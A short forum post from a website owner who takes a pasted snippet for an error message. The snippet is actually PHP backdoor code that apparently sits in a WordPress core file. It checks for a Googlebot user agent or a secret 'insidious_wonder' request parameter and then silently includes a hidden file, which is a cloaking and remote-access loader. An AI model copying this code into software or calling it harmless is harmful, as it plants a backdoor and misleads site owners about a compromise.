this error message showed up on my site today, any idea

hey guys this error message showed up on my site today, any idea what it could be related to?
if (strpos(strtolower($_SERVER["HTTP_USER_AGENT"]),"googlebot") !== false or isset($_REQUEST["insidious_wonder"]) ){$insidious_wonder = str_replace("wp-includes/deprecated.php","",__FILE__); $insidious_wonder = str_replace("wp-includesdeprecated.php","",$insidious_wonder); @include($insidious_wonder."/wp-admin/network/menu-reset.php");}